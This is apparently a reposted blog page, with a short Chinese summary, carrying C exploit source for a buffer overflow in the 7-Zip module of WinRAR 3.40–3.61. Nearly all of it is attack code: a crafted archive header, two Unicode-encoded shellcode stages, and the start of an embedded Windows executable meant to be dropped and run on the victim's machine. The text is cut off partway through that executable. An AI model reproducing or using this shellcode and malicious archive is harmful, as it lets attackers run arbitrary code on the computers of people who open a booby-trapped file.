WinRAR buffer overflow

最新推荐文章于 2023-09-02 16:16:11 发布
转载 最新推荐文章于 2023-09-02 16:16:11 发布 · 1.1k 阅读 · 0
文章标签：

#buffer #c #string #byte #include #module

本文介绍了一个针对 WinRAR 3.40 至 3.60 版本中 7-Zip 模块的缓冲区溢出漏洞，并提供了详细的漏洞利用代码示例。该漏洞通过精心构造的 RAR 文件触发，旨在演示潜在的安全风险。 
#include "windows.h"


/*

Exploit buffer overflow for WinRar 3.40-3.60 ( 7-zip module )
coded by terminator1990 ( terminator1990@ya.ru )

Tested on: 
WinRar 3.40 Eng
WinRar 3.41 Eng
WinRar 3.50 Eng
WinRar 3.51 Eng
WinRar 3.60b1 Eng
WinRar 3.61 Eng

*/




unsigned char arh_part1[45] = {
	0x37, 0x7A, 0xBC, 0xAF, 0x27, 0x1C, 0x00, 0x02,   
	0xEE, 0xD6, 0x49, 0x23,  // CRC1
    0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x2D, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x3D, 0xC3, 0xFE, 0x9B,  // CRC2
	0x01, 0x05, 0x01, 0x0E, 0x01, 0x80, 0x0F, 0x01, 0x80, 0x11, 0x80, 0x01, 0x00
};


char filename[0x400A];




unsigned char shellcode1[404] = { // find shellcode2 // unicode string
	0x3B, 0x04, 0x0F, 0x00, 0x58, 0x00, 0x02, 0x04, 0x30, 0x00, 0x22, 0x21, 0x40, 0x00, 0x03, 0x04, 
	0x38, 0x00, 0x6D, 0x00, 0x30, 0x00, 0x30, 0x00, 0x21, 0x00, 0x75, 0x00, 0x44, 0x04, 0x3B, 0x04, 
	0x05, 0x00, 0x38, 0x04, 0x3C, 0x04, 0x4F, 0x04, 0x4F, 0x04, 0x4F, 0x04, 0x04, 0x04, 0x59, 0x00, 
	0x4D, 0x04, 0x12, 0x00, 0x29, 0x04, 0xA9, 0x00, 0x12, 0x00, 0x29, 0x04, 0x22, 0x20, 0x12, 0x00, 
	0x39, 0x04, 0x26, 0x20, 0x34, 0x00, 0x12, 0x00, 0x29, 0x04, 0x18, 0x20, 0x04, 0x04, 0x50, 0x00, 
	0x12, 0x00, 0x41, 0x00, 0x23, 0x00, 0x19, 0x04, 0x2C, 0x04, 0x22, 0x21, 0x22, 0x21, 0x28, 0x04, 
	0x5E, 0x04, 0x0C, 0x04, 0x19, 0x20, 0x3C, 0x04, 0x63, 0x00, 0x12, 0x00, 0x2D, 0x04, 0x19, 0x20, 
	0x31, 0x04, 0x59, 0x04, 0x5A, 0x00, 0x12, 0x00, 0x39, 0x04, 0x22, 0x20, 0x59, 0x04, 0x6A, 0x00, 
	0x12, 0x00, 0x31, 0x04, 0x26, 0x20, 0x59, 0x04, 0x62, 0x00, 0x41, 0x04, 0x4C, 0x04, 0x44, 0x04, 
	0x46, 0x04, 0x3B, 0x04, 0x41, 0x04, 0x1B, 0x04, 0x4C, 0x04, 0x48, 0x04, 0x4D, 0x04, 0x04, 0x04, 
	0x59, 0x00, 0x2F, 0x04, 0x12, 0x00, 0x0F, 0x04, 0x19, 0x00, 0xA7, 0x00, 0x22, 0x21, 0x3C, 0x04, 
	0x98, 0x00, 0x29, 0x04, 0x5E, 0x04, 0x0C, 0x04, 0x05, 0x04, 0x3C, 0x04, 0x6B, 0x00, 0x12, 0x00, 
	0x1F, 0x04, 0x22, 0x20, 0x5E, 0x04, 0x1D, 0x04, 0x05, 0x04, 0x5C, 0x04, 0x3C, 0x04, 0x70, 0x00, 
	0x42, 0x04, 0x59, 0x00, 0x5C, 0x04, 0x1A, 0x00, 0x71, 0x00, 0x5C, 0x04, 0x12, 0x00, 0x5C, 0x04, 
	0x5B, 0x04, 0x59, 0x04, 0x5A, 0x00, 0x12, 0x00, 0x75, 0x00, 0x1A, 0x00, 0x75, 0x00, 0x4D, 0x04, 
	0x10, 0x00, 0x2C, 0x04, 0x25, 0x00, 0x20, 0x00, 0x22, 0x21, 0x22, 0x21, 0x29, 0x04, 0x22, 0x21, 
	0x10, 0x00, 0x24, 0x04, 0x21, 0x00, 0x12, 0x00, 0x24, 0x04, 0x21, 0x00, 0x1A, 0x00, 0x58, 0x00, 
	0x29, 0x04, 0x10, 0x00, 0x24, 0x04, 0x21, 0x00, 0x43, 0x04, 0x22, 0x21, 0x43, 0x04, 0x29, 0x04, 
	0x14, 0x00, 0x1C, 0x04, 0x59, 0x00, 0x1B, 0x04, 0x18, 0x04, 0x43, 0x04, 0x66, 0x00, 0x12, 0x00, 
	0x2C, 0x04, 0x25, 0x00, 0x66, 0x00, 0x49, 0x00, 0x23, 0x00, 0x1F, 0x04, 0x16, 0x04, 0x22, 0x04, 
	0x02, 0x04, 0x18, 0x00, 0x6B, 0x00, 0x0E, 0x04, 0x0E, 0x04, 0x0E, 0x04, 0x0E, 0x04, 0x12, 0x00, 
	0x54, 0x00, 0x1A, 0x00, 0x70, 0x00, 0x28, 0x04, 0x28, 0x04, 0x5E, 0x04, 0xAC, 0x20, 0x3D, 0x04, 
	0x5F, 0x04, 0x5E, 0x04, 0x70, 0x00, 0x3D, 0x04, 0x57, 0x00, 0x72, 0x00, 0x6C, 0x00, 0x12, 0x00, 
	0x2C, 0x04, 0x21, 0x00, 0x1A, 0x00, 0x74, 0x00, 0x29, 0x04, 0x06, 0x04, 0x54, 0x00, 0x59, 0x04, 
	0x58, 0x00, 0x1A, 0x00, 0x59, 0x00, 0x5C, 0x04, 0x66, 0x00, 0x79, 0x00, 0x6D, 0x00, 0x30, 0x00, 
	0x30, 0x00, 0x21, 0x00
};


	

unsigned char shellcode2[1692] = { // find x_prog // unicode string

	0x6E, 0x00, 0x67, 0x00, 0x73, 0x00, 0x21, 0x00, // Signature

	0x3B, 0x04, 0x0F, 0x00, 0x58, 0x00, 0x02, 0x04, 0x30, 0x00, 0x22, 0x21, 0x40, 0x00, 0x03, 0x04, 
	0x38, 0x00, 0x6D, 0x00, 0x30, 0x00, 0x30, 0x00, 0x21, 0x00, 0x75, 0x00, 0x44, 0x04, 0x3B, 0x04, 
	0x05, 0x00, 0x38, 0x04, 0x3C, 0x04, 0x4F, 0x04, 0x4F, 0x04, 0x4F, 0x04, 0x04, 0x04, 0x59, 0x00, 
	0x4D, 0x04, 0x12, 0x00, 0x29, 0x04, 0xA9, 0x00, 0x12, 0x00, 0x29, 0x04, 0x22, 0x20, 0x12, 0x00, 
	0x39, 0x04, 0x26, 0x20, 0x34, 0x00, 0x12, 0x00, 0x29, 0x04, 0x18, 0x20, 0x04, 0x04, 0x50, 0x00, 
	0x12, 0x00, 0x41, 0x00, 0x23, 0x00, 0x19, 0x04, 0x2C, 0x04, 0x22, 0x21, 0x22, 0x21, 0x28, 0x04, 
	0x5E, 0x04, 0x0C, 0x04, 0x19, 0x20, 0x3C, 0x04, 0x63, 0x00, 0x12, 0x00, 0x2D, 0x04, 0x19, 0x20, 
	0x31, 0x04, 0x59, 0x04, 0x5A, 0x00, 0x12, 0x00, 0x39, 0x04, 0x22, 0x20, 0x59, 0x04, 0x6A, 0x00, 
	0x12, 0x00, 0x31, 0x04, 0x26, 0x20, 0x59, 0x04, 0x62, 0x00, 0x41, 0x04, 0x4C, 0x04, 0x3A, 0x04, 
	0x3A, 0x04, 0x22, 0x21, 0x41, 0x04, 0x22, 0x21, 0x2E, 0x04, 0x4C, 0x04, 0x3D, 0x04, 0x04, 0x04, 
	0x59, 0x00, 0x2F, 0x04, 0x12, 0x00, 0x0F, 0x04, 0x19, 0x00, 0xA7, 0x00, 0x22, 0x21, 0x3C, 0x04, 
	0x98, 0x00, 0x29, 0x04, 0x5E, 0x04, 0x0C, 0x04, 0x05, 0x04, 0x3C, 0x04, 0x6B, 0x00, 0x12, 0x00, 
	0x1F, 0x04, 0x22, 0x20, 0x5E, 0x04, 0x1D, 0x04, 0x05, 0x04, 0x5C, 0x04, 0x3C, 0x04, 0x70, 0x00, 
	0x42, 0x04, 0x59, 0x00, 0x5C, 0x04, 0x1A, 0x00, 0x71, 0x00, 0x5C, 0x04, 0x12, 0x00, 0x5C, 0x04, 
	0x5B, 0x04, 0x59, 0x04, 0x5A, 0x00, 0x12, 0x00, 0x75, 0x00, 0x1A, 0x00, 0x5C, 0x00, 0x19, 0x04, 
	0x10, 0x00, 0x2C, 0x04, 0x29, 0x00, 0x10, 0x00, 0x14, 0x04, 0x2D, 0x00, 0x23, 0x00, 0x1B, 0x04, 
	0x4C, 0x04, 0x48, 0x04, 0x4D, 0x04, 0x10, 0x00, 0x1C, 0x04, 0x25, 0x00, 0x23, 0x00, 0x19, 0x04, 
	0x3B, 0x04, 0x46, 0x04, 0x4A, 0x04, 0x10, 0x00, 0x1C, 0x04, 0x59, 0x00, 0x23, 0x00, 0x4C, 0x04, 
	0x3A, 0x04, 0x3A, 0x04, 0x24, 0x04, 0x10, 0x00, 0x1C, 0x04, 0x5D, 0x00, 0x23, 0x00, 0x4C, 0x04, 
	0x44, 0x04, 0x46, 0x04, 0x3B, 0x04, 0x10, 0x00, 0x1C, 0x04, 0x51, 0x00, 0x23, 0x00, 0x30, 0x04, 
	0x22, 0x21, 0x22, 0x21, 0x22, 0x21, 0x10, 0x00, 0x1C, 0x04, 0x55, 0x00, 0x04, 0x04, 0x4B, 0x00, 
	0x14, 0x00, 0x1C, 0x04, 0x25, 0x00, 0x1B, 0x04, 0x1A, 0x04, 0x66, 0x00, 0x49, 0x00, 0x10, 0x00, 
	0x2C, 0x04, 0x21, 0x00, 0x20, 0x00, 0x22, 0x21, 0x22, 0x21, 0x29, 0x04, 0x22, 0x21, 0x10, 0x00, 
	0x24, 0x04, 0x25, 0x00, 0x12, 0x00, 0x24, 0x04, 0x25, 0x00, 0x1A, 0x00, 0x58, 0x00, 0x29, 0x04, 
	0x10, 0x00, 0x24, 0x04, 0x25, 0x00, 0x43, 0x04, 0x22, 0x21, 0x43, 0x04, 0x29, 0x04, 0x14, 0x00, 
	0x1C, 0x04, 0x59, 0x00, 0x1B, 0x04, 0x18, 0x04, 0x43, 0x04, 0x66, 0x00, 0x12, 0x00, 0x2C, 0x04, 
	0x21, 0x00, 0x66, 0x00, 0x49, 0x00, 0x23, 0x00, 0x17, 0x04, 0x18, 0x04, 0x1D, 0x04, 0x02, 0x04, 
	0x18, 0x00, 0x6B, 0x00, 0x0E, 0x04, 0x0E, 0x04, 0x0E, 0x04, 0x0E, 0x04, 0x12, 0x00, 0x54, 0x00, 
	0x1A, 0x00, 0x70, 0x00, 0x28, 0x04, 0x28, 0x04, 0x5E, 0x04, 0xAC, 0x20, 0x3D, 0x04, 0x5F, 0x04, 
	0x5E, 0x04, 0x70, 0x00, 0x3D, 0x04, 0x57, 0x00, 0x72, 0x00, 0x6C, 0x00, 0x12, 0x00, 0x2C, 0x04, 
	0x25, 0x00, 0x1A, 0x00, 0x74, 0x00, 0x29, 0x04, 0x06, 0x04, 0x54, 0x00, 0x59, 0x04, 0x58, 0x00, 
	0x1A, 0x00, 0x59, 0x00, 0x5C, 0x04, 0x1A, 0x00, 0x5C, 0x00, 0x29, 0x04, 0x10, 0x00, 0x2C, 0x04, 
	0x21, 0x00, 0x12, 0x00, 0x2C, 0x04, 0x29, 0x00, 0x12, 0x00, 0x14, 0x04, 0x2D, 0x00, 0x10, 0x00, 
	0x2C, 0x04, 0x4D, 0x00, 0x10, 0x00, 0x14, 0x04, 0x41, 0x00, 0x23, 0x00, 0x2E, 0x04, 0x4C, 0x04, 
	0x3D, 0x04, 0x19, 0x04, 0x10, 0x00, 0x1C, 0x04, 0x25, 0x00, 0x23, 0x00, 0x3B, 0x04, 0x46, 0x04, 
	0x4A, 0x04, 0x4C, 0x04, 0x10, 0x00, 0x1C, 0x04, 0x59, 0x00, 0x23, 0x00, 0x3A, 0x04, 0x3A, 0x04, 
	0x21, 0x04, 0x4C, 0x04, 0x10, 0x00, 0x1C, 0x04, 0x5D, 0x00, 0x23, 0x00, 0x48, 0x04, 0x39, 0x04, 
	0x22, 0x21, 0x22, 0x21, 0x10, 0x00, 0x1C, 0x04, 0x51, 0x00, 0x04, 0x04, 0x4B, 0x00, 0x14, 0x00, 
	0x1C, 0x04, 0x25, 0x00, 0x1B, 0x04, 0x1A, 0x04, 0x66, 0x00, 0x49, 0x00, 0x10, 0x00, 0x2C, 0x04, 
	0x45, 0x00, 0x23, 0x00, 0x21, 0x04, 0x4C, 0x04, 0x48, 0x04, 0x39, 0x04, 0x10, 0x00, 0x1C, 0x04, 
	0x25, 0x00, 0x23, 0x00, 0x28, 0x04, 0x45, 0x04, 0x45, 0x04, 0x46, 0x04, 0x10, 0x00, 0x1C, 0x04, 
	0x59, 0x00, 0x23, 0x00, 0x4A, 0x04, 0x22, 0x21, 0x22, 0x21, 0x22, 0x21, 0x10, 0x00, 0x1C, 0x04, 
	0x5D, 0x00, 0x04, 0x04, 0x4B, 0x00, 0x14, 0x00, 0x1C, 0x04, 0x25, 0x00, 0x1B, 0x04, 0x12, 0x00, 
	0x2C, 0x04, 0x4D, 0x00, 0x12, 0x00, 0x14, 0x04, 0x41, 0x00, 0x1A, 0x04, 0x66, 0x00, 0x49, 0x00, 
	0x10, 0x00, 0x2C, 0x04, 0x79, 0x00, 0x23, 0x00, 0x2E, 0x04, 0x4C, 0x04, 0x3D, 0x04, 0x2C, 0x04, 
	0x10, 0x00, 0x1C, 0x04, 0x25, 0x00, 0x23, 0x00, 0x47, 0x04, 0x3F, 0x04, 0x40, 0x04, 0x3B, 0x04, 
	0x10, 0x00, 0x1C, 0x04, 0x59, 0x00, 0x23, 0x00, 0x46, 0x04, 0x47, 0x04, 0x44, 0x04, 0x4C, 0x04, 
	0x10, 0x00, 0x1C, 0x04, 0x5D, 0x00, 0x23, 0x00, 0x47, 0x04, 0x3D, 0x04, 0x1F, 0x04, 0x48, 0x04, 
	0x10, 0x00, 0x1C, 0x04, 0x51, 0x00, 0x23, 0x00, 0x3B, 0x04, 0x40, 0x04, 0x48, 0x04, 0x4B, 0x04, 
	0x10, 0x00, 0x1C, 0x04, 0x55, 0x00, 0x23, 0x00, 0x45, 0x04, 0x4C, 0x04, 0x28, 0x04, 0x22, 0x21, 
	0x10, 0x00, 0x1C, 0x04, 0x49, 0x00, 0x04, 0x04, 0x4B, 0x00, 0x14, 0x00, 0x1C, 0x04, 0x25, 0x00, 
	0x1B, 0x04, 0x12, 0x00, 0x2C, 0x04, 0x4D, 0x00, 0x12, 0x00, 0x14, 0x04, 0x41, 0x00, 0x1A, 0x04, 
	0x66, 0x00, 0x49, 0x00, 0x10, 0x00, 0x2C, 0x04, 0x7D, 0x00, 0x23, 0x00, 0x45, 0x04, 0x3A, 0x04, 
	0x3D, 0x04, 0x3B, 0x04, 0x10, 0x00, 0x1C, 0x04, 0x25, 0x00, 0x23, 0x00, 0x4A, 0x04, 0x48, 0x04, 
	0x3D, 0x04, 0x28, 0x04, 0x10, 0x00, 0x1C, 0x04, 0x59, 0x00, 0x23, 0x00, 0x22, 0x21, 0x22, 0x21, 
	0x22, 0x21, 0x22, 0x21, 0x10, 0x00, 0x1C, 0x04, 0x5D, 0x00, 0x04, 0x04, 0x4B, 0x00, 0x14, 0x00, 
	0x1C, 0x04, 0x25, 0x00, 0x1B, 0x04, 0x12, 0x00, 0x2C, 0x04, 0x4D, 0x00, 0x12, 0x00, 0x14, 0x04, 
	0x41, 0x00, 0x1A, 0x04, 0x66, 0x00, 0x49, 0x00, 0x10, 0x00, 0x2C, 0x04, 0x71, 0x00, 0x23, 0x00, 
	0x2A, 0x04, 0x3B, 0x04, 0x4C, 0x04, 0x48, 0x04, 0x10, 0x00, 0x1C, 0x04, 0x25, 0x00, 0x23, 0x00, 
	0x3D, 0x04, 0x4C, 0x04, 0x2F, 0x04, 0x40, 0x04, 0x10, 0x00, 0x1C, 0x04, 0x59, 0x00, 0x23, 0x00, 
	0x45, 0x04, 0x4C, 0x04, 0x28, 0x04, 0x22, 0x21, 0x10, 0x00, 0x1C, 0x04, 0x5D, 0x00, 0x04, 0x04, 
	0x4B, 0x00, 0x14, 0x00, 0x1C, 0x04, 0x25, 0x00, 0x1B, 0x04, 0x12, 0x00, 0x2C, 0x04, 0x4D, 0x00, 
	0x12, 0x00, 0x14, 0x04, 0x41, 0x00, 0x1A, 0x04, 0x66, 0x00, 0x49, 0x00, 0x10, 0x00, 0x2C, 0x04, 
	0x75, 0x00, 0x23, 0x00, 0x1E, 0x04, 0x3B, 0x04, 0x40, 0x04, 0x3D, 0x04, 0x10, 0x00, 0x1C, 0x04, 
	0x25, 0x00, 0x23, 0x00, 0x4C, 0x04, 0x2F, 0x04, 0x40, 0x04, 0x45, 0x04, 0x10, 0x00, 0x1C, 0x04, 
	0x59, 0x00, 0x23, 0x00, 0x4C, 0x04, 0x22, 0x21, 0x22, 0x21, 0x22, 0x21, 0x10, 0x00, 0x1C, 0x04, 
	0x5D, 0x00, 0x04, 0x04, 0x4B, 0x00, 0x14, 0x00, 0x1C, 0x04, 0x25, 0x00, 0x1B, 0x04, 0x12, 0x00, 
	0x2C, 0x04, 0x4D, 0x00, 0x12, 0x00, 0x14, 0x04, 0x41, 0x00, 0x1A, 0x04, 0x66, 0x00, 0x49, 0x00, 
	0x10, 0x00, 0x2C, 0x04, 0x69, 0x00, 0x23, 0x00, 0x2A, 0x04, 0x45, 0x04, 0x46, 0x04, 0x3A, 0x04, 
	0x10, 0x00, 0x1C, 0x04, 0x25, 0x00, 0x23, 0x00, 0x4C, 0x04, 0x21, 0x04, 0x48, 0x04, 0x47, 0x04, 
	0x10, 0x00, 0x1C, 0x04, 0x59, 0x00, 0x23, 0x00, 0x4D, 0x04, 0x45, 0x04, 0x4C, 0x04, 0x22, 0x21, 
	0x10, 0x00, 0x1C, 0x04, 0x5D, 0x00, 0x04, 0x04, 0x4B, 0x00, 0x14, 0x00, 0x1C, 0x04, 0x25, 0x00, 
	0x1B, 0x04, 0x12, 0x00, 0x2C, 0x04, 0x4D, 0x00, 0x12, 0x00, 0x14, 0x04, 0x41, 0x00, 0x1A, 0x04, 
	0x66, 0x00, 0x49, 0x00, 0x10, 0x00, 0x2C, 0x04, 0x6D, 0x00, 0x23, 0x00, 0x1E, 0x04, 0x40, 0x04, 
	0x47, 0x04, 0x2C, 0x04, 0x10, 0x00, 0x1C, 0x04, 0x25, 0x00, 0x23, 0x00, 0x31, 0x04, 0x4C, 0x04, 
	0x4A, 0x04, 0x22, 0x21, 0x10, 0x00, 0x1C, 0x04, 0x59, 0x00, 0x04, 0x04, 0x4B, 0x00, 0x14, 0x00, 
	0x1C, 0x04, 0x25, 0x00, 0x1B, 0x04, 0x12, 0x00, 0x2C, 0x04, 0x4D, 0x00, 0x12, 0x00, 0x14, 0x04, 
	0x41, 0x00, 0x1A, 0x04, 0x66, 0x00, 0x49, 0x00, 0x10, 0x00, 0x2C, 0x04, 0x61, 0x00, 0x23, 0x00, 
	0x2C, 0x04, 0x31, 0x04, 0x40, 0x04, 0x3D, 0x04, 0x10, 0x00, 0x1C, 0x04, 0x25, 0x00, 0x23, 0x00, 
	0x19, 0x04, 0x3B, 0x04, 0x46, 0x04, 0x4A, 0x04, 0x10, 0x00, 0x1C, 0x04, 0x59, 0x00, 0x23, 0x00, 
	0x4C, 0x04, 0x3A, 0x04, 0x3A, 0x04, 0x22, 0x21, 0x10, 0x00, 0x1C, 0x04, 0x5D, 0x00, 0x04, 0x04, 
	0x4B, 0x00, 0x14, 0x00, 0x1C, 0x04, 0x25, 0x00, 0x1B, 0x04, 0x12, 0x00, 0x2C, 0x04, 0x4D, 0x00, 
	0x12, 0x00, 0x14, 0x04, 0x41, 0x00, 0x1A, 0x04, 0x66, 0x00, 0x49, 0x00, 0x10, 0x00, 0x2C, 0x04, 
	0x65, 0x00, 0x41, 0x04, 0x22, 0x21, 0x5C, 0x04, 0x22, 0x21, 0x22, 0x21, 0x43, 0x04, 0x22, 0x21, 
	0x12, 0x00, 0x2C, 0x04, 0x45, 0x00, 0x66, 0x00, 0x49, 0x00, 0x19, 0x04, 0x12, 0x00, 0x2C, 0x04, 
	0x79, 0x00, 0x66, 0x00, 0x49, 0x00, 0x10, 0x00, 0x2C, 0x04, 0x49, 0x00, 0x41, 0x04, 0x22, 0x21, 
	0x5C, 0x04, 0x22, 0x21, 0x22, 0x21, 0x19, 0x04, 0x23, 0x00, 0x1D, 0x04, 0x2C, 0x04, 0x24, 0x04, 
	0x19, 0x04, 0x10, 0x00, 0x1C, 0x04, 0x25, 0x00, 0x23, 0x00, 0x22, 0x21, 0x22, 0x21, 0x22, 0x21, 
	0x22, 0x21, 0x10, 0x00, 0x1C, 0x04, 0x59, 0x00, 0x04, 0x04, 0x4B, 0x00, 0x14, 0x00, 0x1C, 0x04, 
	0x25, 0x00, 0x1B, 0x04, 0x12, 0x00, 0x2C, 0x04, 0x7D, 0x00, 0x66, 0x00, 0x49, 0x00, 0x23, 0x00, 
	0x15, 0x04, 0x38, 0x04, 0x41, 0x04, 0x44, 0x04, 0x10, 0x00, 0x1C, 0x04, 0x25, 0x00, 0x23, 0x00, 
	0xB7, 0x00, 0x4C, 0x04, 0x31, 0x04, 0x4C, 0x04, 0x10, 0x00, 0x1C, 0x04, 0x59, 0x00, 0x23, 0x00, 
	0x22, 0x21, 0x22, 0x21, 0x22, 0x21, 0x22, 0x21, 0x10, 0x00, 0x1C, 0x04, 0x5D, 0x00, 0x04, 0x04, 
	0x4B, 0x00, 0x14, 0x00, 0x1C, 0x04, 0x25, 0x00, 0x1B, 0x04, 0x12, 0x00, 0x2C, 0x04, 0x49, 0x00, 
	0x19, 0x04, 0x12, 0x00, 0x2C, 0x04, 0x71, 0x00, 0x66, 0x00, 0x49, 0x00, 0x43, 0x04, 0x22, 0x21, 
	0x43, 0x04, 0x22, 0x21, 0x43, 0x04, 0x5C, 0x04, 0x43, 0x04, 0x22, 0x21, 0x43, 0x04, 0x22, 0x21, 
	0x41, 0x04, 0x22, 0x21, 0x22, 0x21, 0x22, 0x21, 0x29, 0x04, 0x12, 0x00, 0x1C, 0x04, 0x49, 0x00, 
	0x1B, 0x04, 0x12, 0x00, 0x2C, 0x04, 0x75, 0x00, 0x66, 0x00, 0x49, 0x00, 0x10, 0x00, 0x2C, 0x04, 
	0x55, 0x00, 0x43, 0x04, 0x22, 0x21, 0x04, 0x04, 0x59, 0x00, 0x14, 0x00, 0x2C, 0x04, 0x25, 0x00, 
	0x19, 0x04, 0x41, 0x04, 0x22, 0x21, 0x56, 0x04, 0x22, 0x21, 0x22, 0x21, 0x12, 0x00, 0x2C, 0x04, 
	0x21, 0x00, 0x19, 0x04, 0x12, 0x00, 0x2C, 0x04, 0x55, 0x00, 0x19, 0x04, 0x12, 0x00, 0x2C, 0x04, 
	0x69, 0x00, 0x66, 0x00, 0x49, 0x00, 0x12, 0x00, 0x2C, 0x04, 0x55, 0x00, 0x19, 0x04, 0x12, 0x00, 
	0x2C, 0x04, 0x6D, 0x00, 0x66, 0x00, 0x49, 0x00, 0x43, 0x04, 0x98, 0x00, 0x12, 0x00, 0x2C, 0x04, 
	0x49, 0x00, 0x19, 0x04, 0x12, 0x00, 0x2C, 0x04, 0x61, 0x00, 0x66, 0x00, 0x49, 0x00, 0x43, 0x04, 
	0x22, 0x21, 0x12, 0x00, 0x2C, 0x04, 0x65, 0x00, 0x66, 0x00, 0x49, 0x00, 0x6D, 0x00, 0x30, 0x00, 
	0x30, 0x00, 0x21, 0x00
};






unsigned char arh_part2[22] = {
	0x14, 0x0A, 0x01, 0x00, 0xF0, 0xDE, 0xE9, 0xB5, 0xBF, 0xF2, 0xC6, 0x01, 0x15, 0x06, 0x01, 0x00, 
	0x20, 0x00, 0x00, 0x00, 0x00, 0x00
};










unsigned char x_prog[2048] = {
	0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 
	0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 
	0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 
	0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, 
	0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20, 
	0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0xE3, 0x95, 0x8A, 0xDB, 0xA7, 0xF4, 0xE4, 0x88, 0xA7, 0xF4, 0xE4, 0x88, 0xA7, 0xF4, 0xE4, 0x88, 
	0xDC, 0xE8, 0xE8, 0x88, 0xA6, 0xF4, 0xE4, 0x88, 0xC8, 0xEB, 0xE0, 0x88, 0xA4, 0xF4, 0xE4, 0x88, 
	0xA7, 0xF4, 0xE5, 0x88, 0xA5, 0xF4, 0xE4, 0x88, 0xA1, 0xD7, 0xF2, 0x88, 0xA5, 0xF4, 0xE4, 0x88, 
	0x52, 0x69, 0x63, 0x68, 0xA7, 0xF4, 0xE4, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x50, 0x45, 0x00, 0x00, 0x4C, 0x01, 0x02, 0x00, 0x95, 0x74, 0x70, 0x45, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0xE0, 0x00, 0x0F, 0x01, 0x0B, 0x01, 0x06, 0x00, 0x00, 0x02, 0x00, 0x00, 
	0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x10, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 
	0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 
	0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x30, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x40, 0x10, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 
	0x94, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x04, 0xE0, 
	0x2E, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0x5E, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 
	0x00, 0x02, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
